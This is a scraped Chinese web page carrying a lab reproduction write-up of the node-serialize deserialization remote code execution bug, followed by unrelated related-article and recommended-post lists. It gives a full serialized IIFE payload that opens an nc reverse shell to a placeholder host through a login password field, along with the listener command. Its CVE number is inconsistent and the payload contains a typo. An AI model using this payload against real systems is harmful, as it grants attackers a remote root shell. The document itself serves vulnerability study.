2.1 摘要

2.1.1 漏洞介绍

  • 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution
  • 漏洞CVE id: CVE-2017-594
  • 漏洞类型: 代码执行
  • Node.js存在反序列化远程代码执行漏洞,若不可信的数据传入unserrialize()函数,通过传递立即调用函数表达式(IIFE)的JavaScript对象可以实现任意代码执行。并且Node.js服务端必须存在接收序列的数据接口

2.1.2 漏洞环境

  • 操作机:Kali Linux
  • 目标机:CentOS 6.5

2.1.3 实验工具

  • exp.txt:利用nodejs代码执行的代码文件。

2.2 漏洞复现

  • 首先访问目标机器http://172.16.12.2可以看到一个存在node.js漏洞的登录界面。
  • 使用nc监听本地端口,用于接收漏洞环境的反弹Shell. nc -lv -p 8080 即监听本机8080端口
  • 准备反序列化代码:_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}(),修改里面的

  • 用户名任意输入,将修改好的反序列化代码复制到密码框点击登录即可。
    点击登录后,如下图所示:利用成功。

  • 已经反弹回一个shell,并且权限为root。

2.3 漏洞分析

  • 使用0.0.4版本的node-serialize进行研究,成功利用的话,不可信输入传递到 unserialize()的时候可以执行任意代码。创建Payload最好使用同一模块的serialize()函数。 创建以下 JavaScript 对象,将其传入 serialize() 函数。
  • 运行后得到以下输出:

  • 得到序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到触发对应于对象的rce属性的函数。可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。现在修改过的代码经 serialize() 函数马上会被调用。
  • 运行后得到以下输出:
  • 成功执行,那么就有了下面的 exploit:
  • 将其传入unserialize() 函数,触发代码执行。
  • 运行后得到以下输出:

2.4 修复方案

2.5 思考总结

    • 本实践实现了Node.js 反序列化漏洞远程执行代码的复现,并对漏洞原理进行了详细的分析。该漏洞本质上是构造Payload传入unserrialize()函数进行反序列化:使用JavaScript的立即调用函数表达式(IIFE),当对象被创建时,将 该JavaScript 对象传入 serialize() 函数,输出exploit将其传入unserialize() 函数,可以实现任意代码执行。危害不容小觑。

Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)的更多相关文章

  1. Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)

    Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...

  2. CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞

    [CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092) Microsoft Internet Explorer是美国微软(Mic ...

  3. Microsoft .NET Framework 远程执行代码漏洞

    受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...

  4. HTTP.SYS远程执行代码漏洞分析 (MS15-034 )

    写在前言:   在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...

  5. HTTP.sys远程执行代码漏洞

    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...

  6. Windows Shell远程执行代码漏洞((CVE-2018-8414)复现

    0x00   SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...

  7. HTTP.SYS 远程执行代码漏洞分析(MS15-034 )

    在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...

  8. 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

    1.1.1  漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...

  9. IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现

    CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...

随机推荐

  1. 6. 合并排序数组 II

    6. Merge Two Sorted Arrays Description Merge two given sorted integer array A and B into a new sorte ...

  2. skatebroads

    skateboardsn.滑板( skateboard的名词复数 ) == skateboard英 [ˈskeɪtbɔ:d]  . 斯给特博得. 美 [ˈskeɪtbɔ:rd] n.滑板复数: ska ...

  3. BZOJ4167 : 永远的竹笋采摘

    首先枚举出所有可能成为区间最小差值的点对$(j,i)$. 枚举每个位置作为右端点$i$,假设$a[j]>a[i]$. 找到第一个这样的$j$,那么可以将下一个$a[j]$的范围缩小到$(a[i] ...

  4. Java 装饰模式

    在阎宏博士的<JAVA与模式>一书中开头是这样描述装饰(Decorator)模式的: 装饰模式又名包装(Wrapper)模式.装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替 ...

  5. Android style 继承

    style作用在单个视图或控件上,抽取共有的属性,实现复用. style的继承有两种方式: 通过parent标识父style <style name="GreenText" ...

  6. vue的生命周期(又称钩子函数)----以及vue1.0版本与vue2.0版本生命周期的不同

    vue生命周期 1. vue1.0版本与vue2.0版本生命周期的不同 vue1.0版本生命周期图示 图1  vue1.0版本生命周期 vue1.0版本的生命周期: init 实例创建之前 creat ...

  7. Java 服务端监控方案(四. Java 篇)

    http://jerrypeng.me/2014/08/08/server-side-java-monitoring-java/ 这个漫长的系列文章今天要迎来最后一篇了,也是真正与 Java 有关的部 ...

  8. 11-20 bom 浏览器对象模型

    1.window.open(url,ways) url 是打开的网页地址 ways 打开的方式 _self 2.window.close() 3.浏览器用户信息:Window.navigator 4. ...

  9. pygame-KidsCanCode系列jumpy-part17-mask-collide碰撞检测

    这节我们研究下pygame的几种碰撞检测模式: 如上图,左侧是默认的检测模式:基于矩形的检测(这也是性能最好的模式), 右侧是基于圆形的检测(性能略差于矩形检测). 矩形检测法虽然性能好,但是缺点也很 ...

  10. 唯美PS转手绘之SAI篇_百度经验

    唯美PS转手绘之SAI篇 https://jingyan.baidu.com/article/fd8044fad3d5c05030137a5f.html